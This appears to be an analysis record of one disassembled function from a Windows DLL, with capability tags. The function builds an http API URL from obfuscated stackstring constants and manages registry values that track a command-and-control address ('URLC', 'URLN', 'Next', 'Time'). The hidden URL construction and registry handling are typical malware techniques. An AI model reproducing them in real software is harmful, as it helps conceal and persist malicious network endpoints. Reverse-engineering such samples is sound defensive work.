Function at 0x10008510
Capabilities:
Contain obfuscated stackstrings
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x29c
push esi
mov esi, dword [esp + 0x2a4]
push edi
test esi, esi
je 0x10008571
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x1000853b
push eax
push 0
call edi
push eax
call fcn.1000c9e0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1000854d
push eax
push 0
call edi
push eax
call fcn.1000c9e0
mov eax, dword [esi + 8]
test eax, eax
je 0x1000855f
push eax
push 0
call edi
push eax
call fcn.1000c9e0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x10008571
push eax
push 0
call edi
push eax
call fcn.1000c9e0
cmp dword [esp + 0x2ac], 0
jne 0x100087c8
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test esi, esi
jne 0x10008597
mov eax, dword [0x10012370]
push str.Time
push eax
call ebx
push 0x20a
lea ecx, [esp + 0xa0]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
mov dword [esp + 0xc], 0x20a
mov dword [esp + 0x10], 1
mov eax, str.URLN
test esi, esi
je 0x100085c7
mov eax, str.URLC
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0xa0]
push ecx
lea edx, [esp + 0x18]
push edx
push 0
push eax
mov eax, dword [0x10012370]
push eax
call edi
test eax, eax
je 0x100086a0
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0xa0]
xor edx, edx
push 0x1000e9d0
push ecx
mov dword [esp + 0x24], 0x740068
mov dword [esp + 0x28], 0x700074
mov dword [esp + 0x2c], 0x2f003a
mov dword [esp + 0x30], 0x61002f
mov dword [esp + 0x34], 0x670072
mov dword [esp + 0x38], 0x6e0065
mov dword [esp + 0x3c], 0x750074
mov dword [esp + 0x40], 0x6c006d
mov dword [esp + 0x44], 0x6d0069
mov dword [esp + 0x48], 0x740069
mov dword [esp + 0x4c], 0x750061
mov dword [esp + 0x50], 0x750072
mov dword [esp + 0x54], 0x2e006d
mov dword [esp + 0x58], 0x6f0063
mov dword [esp + 0x5c], 0x2f006d
mov dword [esp + 0x60], 0x700061
mov dword [esp + 0x64], 0x2f0069
mov word [esp + 0x68], dx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov dword [esp + 0xc], eax
test esi, esi
je 0x1000877b
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x64]
push eax
lea ecx, [esp + 0xa4]
push ecx
call fcn.10002730
add esp, 0xc
test eax, eax
je 0x100087c7
mov ecx, dword [esp + 0x70]
xor edx, edx
mov eax, 4
cmp dword [esp + 0x6c], eax
mov dword [esi + 4], ecx
mov ecx, dword [esp + 0x8c]
sete dl
mov dword [esi + 0xc], ecx
mov ecx, dword [esp + 0x44]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esi + 0x10], ecx
lea eax, [esp + 0x14]
mov dword [esi + 0x14], edx
mov edx, dword [esp + 0x74]
mov dword [esi], edx
mov edx, dword [esp + 0x28]
mov dword [esi + 8], edx
lea edx, [esp + 0xc]
push edx
mov edx, dword [0x10012370]
push eax
lea ecx, [esp + 0x18]
push ecx
push 0
push str.Next
push edx
mov dword [esp + 0x2c], 0
call edi
test eax, eax
je 0x10008748
mov eax, 0xc
movzx eax, al
pop ebx
pop edi
mov byte [esi + 0x18], al
pop esi
add esp, 0x29c
ret
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10008769
cmp eax, 0xfe
jbe 0x10008738
pop ebx
mov eax, 0xfe
pop edi
mov byte [esi + 0x18], al
pop esi
add esp, 0x29c
ret
pop ebx
mov eax, 0xc
pop edi
mov byte [esi + 0x18], al
pop esi
add esp, 0x29c
ret
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax + eax + 2]
mov eax, dword [0x10012370]
push ecx
lea edx, [esp + 0xa0]
push edx
push 1
push 0
push str.URLC
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [0x10012370]
push str.URLN
push ecx
call ebx
mov edx, dword [0x10012370]
push str.Next
push edx
call ebx
pop ebx
pop edi
pop esi
add esp, 0x29c
ret